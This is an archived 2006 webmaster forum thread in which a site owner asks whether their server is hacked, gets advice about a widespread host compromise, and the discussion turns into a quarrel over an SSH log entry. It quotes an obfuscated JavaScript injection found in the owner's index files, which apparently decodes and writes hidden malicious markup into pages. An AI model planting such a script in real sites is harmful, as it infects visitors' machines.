Our server seems hacked??

**cess** · 10-09-2006, 07:43 AM

are you using webair?

**SmokeyTheBear** · 10-09-2006, 07:43 AM

yup see many threads on megacount hack

**Quickdraw** · 10-09-2006, 07:43 AM

yep, you have been hacked, and have some work ahead of you. Do a search for megacount and you will have plenty to read

**Machete_** · 10-09-2006, 07:44 AM

Yes, its compromiced.
There are a few posts about it here as well. It hit Webair pretty hard including one of our virtual plans

**gooddomains** · 10-09-2006, 07:44 AM

you've been hacked

**SmokeyTheBear** · 10-09-2006, 07:44 AM

p.s. put "megacount" in google for thread

**gooddomains** · 10-09-2006, 07:46 AM

welcome to the club

**biskoppen** · 10-09-2006, 07:47 AM

Originally posted by cess

are you using webair?

Nope, JupiterHosting

**Machete_** · 10-09-2006, 07:48 AM

http://www.grisoft.com/doc/trial/lng.../tpl01?prd=asw

download the trial and clean up your PC. It installs a trojan and 2 counts of malware

**Machete_** · 10-09-2006, 07:49 AM

BTW. the site in your Sig in infected as well - please remove it before someone click it

**biskoppen** · 10-09-2006, 07:59 AM

Finding this code on some of our index files as well..

<script language="JavaScript">e = '0x00' + '3D';str1 = "%86%DE%D5%C8%A2%CF%CE%C5%D6%D9%81%9C%C8%D5%CF%D5% DC%D5%D6%D5%CE%C5%84%DA%D5%DE%DE%D9%D0%9C%80%86%D5 %D8%CC%DD%D1%D9%A2%CF%CC%DF%81%9C%DA%CE%CE%D2%84%9 3%93%DF%D6%C8%DF%D0%CE%90%DF%D3%D1%93%CE%CC%D8%93% 9C%A2%CB%D5%DE%CE%DA%81%8D%A2%DA%D9%D5%DB%DA%CE%81 %8D%80%86%93%D5%D8%CC%DD%D1%D9%80%86%93%DE%D5%C8%8 0";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

**gooddomains** · 10-09-2006, 08:00 AM

start reinstalling your servers, you are distributing trojans

**biskoppen** · 10-09-2006, 08:02 AM

Originally posted by gooddomains

start reinstalling your servers, you are distributing trojans

Really?? So this is much more that the altered HTML I'm finding?

**DateDoc** · 10-09-2006, 08:04 AM

http://www.gfy.com/showthread.php?t=662380
http://www.gfy.com/showthread.php?t=660506
http://www.gfy.com/showthread.php?t=661811
http://www.gfy.com/showthread.php?t=662468

**dissipate** · 10-09-2006, 08:05 AM

When the fuck will people start securing thier shit *shakes head*

**Machete_** · 10-09-2006, 08:15 AM

Originally posted by dissipate

When the fuck will people start securing thier shit *shakes head*

you should read up on the topic before making bullshit comments like that. It's among other things a hole in PhP and Cpanel. not something you can fix yourself

**gooddomains** · 10-09-2006, 08:32 AM

Originally posted by biskoppen

Really?? So this is much more that the altered HTML I'm finding?

you are probabbly webmaster number 25612 that got infected, it's been a security whole now for weeks with patches available, only seems everyone is too lazy to install them

**dissipate** · 10-09-2006, 08:35 AM

Originally posted by ebus_dk

you should read up on the topic before making bullshit comments like that. It's among other things a hole in PhP and Cpanel. not something you can fix yourself

I'm well aware of what this asshat has been doing, they're also VERY easily fixed.

http://www.securiteam.com/unixfocus/6R0030UH5W.html
http://www.securiteam.com/unixfocus/6M00315H5S.html

Takes all of 3 minutes to patch.

Now don't you have postwhores to steal domains from or somthing?

**Machete_** · 10-09-2006, 08:52 AM

Originally posted by dissipate

Now don't you have postwhores to steal domains from or somthing?

dissipate
Join Date: Nov 2005
Posts: 5,787

.. maybe I should check your domains

**dissipate** · 10-09-2006, 08:59 AM

Originally posted by ebus_dk

\
.. maybe I should check your domains

Was the intended to somehow worry me?

**dissipate** · 10-09-2006, 09:04 AM

Oct 9 07:36:24 strife sshd[4128]: Failed password for root from 83.73.6.174 port 1408 ssh2

Awww, looks like someone from denmark is trying to brute force one of my machines.

I wonder who this could be.

**Machete_** · 10-09-2006, 09:30 AM

Originally posted by dissipate

Oct 9 07:36:24 strife sshd[4128]: Failed password for root from 83.73.6.174 port 1408 ssh2

Awww, looks like someone from denmark is trying to brute force one of my machines.

I wonder who this could be.

give me a fucking break. My servers get proped 24/7 from proxyes all around the world.. grow the hell up !! All you did was check you logs to see if a danish Host had loaded one of your sig banners. Sorry to tell you that the IP listed is not mine

**dissipate** · 10-09-2006, 09:44 AM

Originally posted by ebus_dk

give me a fucking break. My servers get proped 24/7 from proxyes all around the world.. grow the hell up !! All you did was check you logs to see if a danish Host had loaded one of your sig banners. Sorry to tell you that the IP listed is not mine

One hell of a coincidence then, eh? Danish Guy makes comment about looking at my boxes... and im getting ssh connections from a danish IP.

**Machete_** · 10-09-2006, 10:02 AM

Originally posted by dissipate

One hell of a coincidence then, eh? Danish Guy makes comment about looking at my boxes... and im getting ssh connections from a danish IP.

Dude - I LIVE IN SWEDEN !!!!!!!! My company resides in Denmark, and I'm danish, but my house is in Sweden. Its public knowledge here on GFY and have been posted a million times over and over again.

I never commented on your boxes. You made a joke regarding buying a boadwhores domain, and I replied "maybe I should check your domains"

As far as I know you don't use SSH to check for domain expiration - but then again, i'm not as smart as you clearly are.

Our server seems hacked??

Our server seems hacked??

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment

Comment